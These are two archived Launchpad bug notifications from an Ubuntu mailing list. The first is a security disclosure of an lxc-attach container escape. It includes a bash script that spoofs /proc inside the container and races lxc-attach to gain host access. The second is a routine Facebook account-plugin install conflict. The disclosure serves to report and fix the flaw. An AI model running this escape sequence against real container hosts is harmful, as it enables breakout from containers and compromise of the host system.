This bug is missing log files that will aid in diagnosing the problem. >From a terminal window please run: apport-collect 1639345 and then change the status of the bug to 'Confirmed'. If, due to the nature of the issue you have encountered, you are unable to run this command, please add a comment stating that fact and change the bug status to 'Confirmed'. This change has been made by an automated script, maintained by the Ubuntu Kernel Team. ** Changed in: linux (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to lxc in Ubuntu. https://bugs.launchpad.net/bugs/1639345 Title: lxc-attach to malicious container allows access to host Status in linux package in Ubuntu: Incomplete Status in lxc package in Ubuntu: Fix Released Status in linux source package in Trusty: Fix Committed Status in lxc source package in Trusty: Fix Released Status in linux source package in Vivid: Fix Committed Status in lxc source package in Vivid: Fix Released Status in linux source package in Xenial: Fix Committed Status in lxc source package in Xenial: Fix Released Status in linux source package in Yakkety: Fix Committed Status in lxc source package in Yakkety: Fix Released Bug description: A malicious root user in an unprivileged container may interfere with lxc-attach to provide manipulated guest proc file system information to disable dropping of capabilities and may in the end access the host file system by winning a very easy race against lxc-attach. In guest sequence: cat < /tmp/test #!/bin/bash -e rm -rf /test || true mkdir -p /test/sys/kernel echo "proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0" > /test/mounts echo 0 > /test/sys/kernel/cap_last_cap mkdir -p /test/self mknod /test/self/status p cd /proc mount -o bind /test /proc while true; do pid=\$(ls -al */exe | grep lxc-attach | sed -r -e 's/.* ([0-9]+)\\/exe ->.*/\\1/') if [ "\${pid}" != "" ]; then cd / umount -i -f -l -n /proc exec /LxcAttachEscape "\${pid}" /bin/bash fi sleep 1 done EOF See attachment for LxcAttachEscape.c Exploit uses fixed fd=7 for attacking, on other test environment, it might be other fd. Tests were performed by attacking lxc-attach started by screen lxc-attach -n [guestname] which is the sequence required against the TTY-stealing attacks also not fixed in all lxc-attach versions. In my opinion two bugs might need fixing: * lxc-attach should not use untrusted/manipulated information for proceeding * kernel should prevent against ptracing of lxc-attach as it was created in another USERNS # lsb_release -r -d Description:Ubuntu 16.04.1 LTS Release:16.04 # apt-cache policy lxc1 lxc1: Installed: 2.0.5-0ubuntu1~ubuntu16.04.2 Candidate: 2.0.5-0ubuntu1~ubuntu16.04.2 Version table: *** 2.0.5-0ubuntu1~ubuntu16.04.2 500 500 http://debarchive-ehealth.d03.arc.local/ubuntu xenial-updates/main amd64 Packages 100 /var/lib/dpkg/status 2.0.0-0ubuntu2 500 500 http://debarchive-ehealth.d03.arc.local/ubuntu xenial/main amd64 Packages To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1639345/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644311] [NEW] package account-plugin-facebook (not installed) failed to install/upgrade: trying to overwrite '/etc/signon-ui/webkit-options.d/www.facebook.com.conf', which is al
Public bug reported: simply failed to install ProblemType: Package DistroRelease: Ubuntu 16.04 Package: account-plugin-facebook (not installed) ProcVersionSignature: Ubuntu 4.4.0-47.68-generic 4.4.24 Uname: Linux 4.4.0-47-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.1 Architecture: amd64 Date: Sat Nov 19 18:55:48 2016 DuplicateSignature: package:account-plugin-facebook:(not installed) Unpacking account-plugin-facebook (0.12+16.04.20160126-0ubuntu1) ... dpkg: error processing archive /var/cache/apt/archives/account-plugin-facebook_0.12+16.04.20160126-0ubuntu1_all.deb (--unpack): trying to overwrite '/etc/signon-ui/webkit-options.d/www.facebook.com.conf', which is also in package kaccounts-providers 4:15.12.3-0ubuntu1 ErrorMessage: trying to overwrite '/etc/signon-ui/webkit-options.d/www.facebook.com.conf', which is also in package kaccounts-providers 4:15.12.3-0ubuntu1 InstallationDate: Installed on 2016-11-07 (15 days ago) InstallationMedia: Kubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 (20160719) RelatedPackageVersions: dpkg 1.18.4ubuntu1.1 apt 1.2.15 SourcePackage: account-plugins Title: package account-plugin-facebook (not installed) failed to install/upgrade: trying to overwrite '/etc/signon-ui/webkit-options.d/www.facebook.com.conf', which is also in package kaccounts-providers 4:15.12.3-0ubuntu1 UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: account-plugins (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-package need-duplicate-check package-conflict xenial -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to account-plugins in Ubuntu. https://bugs.launchpad.net/bugs/1644311 Title: package account-plugin-facebook (not installed) failed to install/upgrade: trying to overwrite '/etc/signon-ui/webkit- options.d/www.facebook.com.conf', which is also in package kaccounts- providers 4:15.12.3-0ubuntu1 Status in account-plugins package in Ubuntu: New Bug description: simply failed to install ProblemType: Package DistroRelease: Ubuntu 16.04 Package: account-plugin-facebook (not installed) ProcVersionSignature: Ubuntu 4.4.0-47.68-generic 4.4.24 Uname: Linux 4.4.0-47-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.1 Architecture: amd64 Date: Sat Nov 19 18:55:48 2016 DuplicateSignature: package:account-plugin-facebook:(not installed) Unpacking account-plugin-facebook (0.12+16.04.20160126-0ubuntu1) ... dpkg: error processing archive /var/cache/apt/archives/account-plugin-facebook_0.12+16.04.20160126-0ubuntu1_all.deb (--unpack): trying to overwrite '/etc/signon-ui/webkit-options.d/www.facebook.com.conf', which is also in package kaccounts-providers 4:15.12.3-0ubuntu1 ErrorMessage: trying to overwrite '/etc/signon-ui/webkit-options.d/www.facebook.com.conf', which is also in package kaccounts-providers 4:15.12.3-0ubuntu1 InstallationDate: Installed on 2016-11-07 (15 days ago) InstallationMedia: Kubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 (20160719) RelatedPackageVersions: dpkg 1.18.4ubuntu1.1 apt 1.2.15 SourcePackage: account-plugins Title: package account-plugin-facebook (not installed) failed to install/upgrade: trying to overwrite '/etc/signon-ui/webkit-options.d/www.facebook.com.conf', which is also in package kaccounts-providers 4:15.12.3-0ubuntu1 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/account-plugins/+bug/1644311/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp